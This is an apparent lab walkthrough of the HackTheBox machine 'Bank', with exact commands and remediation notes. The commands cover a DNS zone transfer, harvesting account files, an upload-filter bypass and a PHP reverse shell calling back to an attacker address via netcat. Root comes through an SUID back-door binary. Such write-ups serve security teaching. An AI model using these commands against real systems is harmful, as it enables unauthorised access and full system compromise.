Bank
Summary
I exploited a misconfigured DNS server to dump the full zone for bank.htb, revealing all virtual hostnames. Web directory listing then exposed hundreds of account-record files, and one file — whose encryption routine had silently failed — contained a plaintext username and password. After logging in, I discovered (via an HTML comment left by a developer) that the file-upload filter could be bypassed using a .htb extension, which the server executes as PHP.
Uploading a PHP reverse shell and triggering it returned a foothold as the web-server account. A non-standard SUID-root binary installed by administrators as an emergency back-door then granted an instant root shell with no additional authentication.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
dig axfr bank.htb @$TARGET +noall +answerecho "$TARGET bank.htb www.bank.htb" | sudo tee -a /etc/hostsFixRestrict DNS zone transfers to authorised secondary name-servers onlyMedium
Exact commands 2
curl -s http://bank.htb/balance-transfer/ | grep -oE 'href="[^"]+\.acc"' | cut -d'"' -f2curl -s http://bank.htb/balance-transfer/ | grep -oE '[0-9a-f]{32}\.acc' | while read f; do size=$(curl -sI http://bank.htb/balance-transfer/$f | grep -i content-length | awk '{print $2}' | tr -d '\r'); echo "$size $f"; done | sort -n | head -5FixDisable Apache directory listing on all web directoriesHigh
Exact commands 1
curl -s http://bank.htb/balance-transfer/[REDACTED: sensitive value].accFixHandle encryption failures safely and never store credentials in plaintextCritical
Exact commands 1
curl -s -c cookies.txt -b cookies.txt -d 'email=chris%40bank.htb&password=[REDACTED: recovered credential]' http://bank.htb/login.php -L -o /dev/null -w '%{http_code}'Exact commands 3
curl -s -b cookies.txt http://bank.htb/support.php | grep -i 'htb\|debug\|extension'cp /usr/share/webshells/php/php-reverse-shell.php shell.htb && sed -i "s/127.0.0.1/$ATTACKER_IP/" shell.htb && sed -i 's/1234/4444/' shell.htbcurl -s -b cookies.txt -F 'title=x' -F 'message=x' -F 'fileToUpload=@shell.htb;filename=shell.htb;type=application/octet-stream' -F 'submitadd=Submit' http://bank.htb/support.phpFixEnforce a strict whitelist for uploaded file extensions and disable PHP execution in upload directoriesCritical
Exact commands 4
nc -lvnp 4444curl -s -b cookies.txt 'http://bank.htb/uploads/shell.htb'id; whoami; hostnamefind / -name user.txt -type f 2>/dev/null -print -exec cat {} \;Exact commands 3
find / -perm -4000 -type f 2>/dev/nullls -la /var/htb/bin/emergencyprintf 'id\ncat /root/root.txt\nexit\n' | /var/htb/bin/emergencyFixRemove the SUID-root emergency binary and audit all SUID permissionsCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) |
| 53/tcp | domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux) |
| 80/tcp | http Apache httpd 2.4.7 ((Ubuntu)) |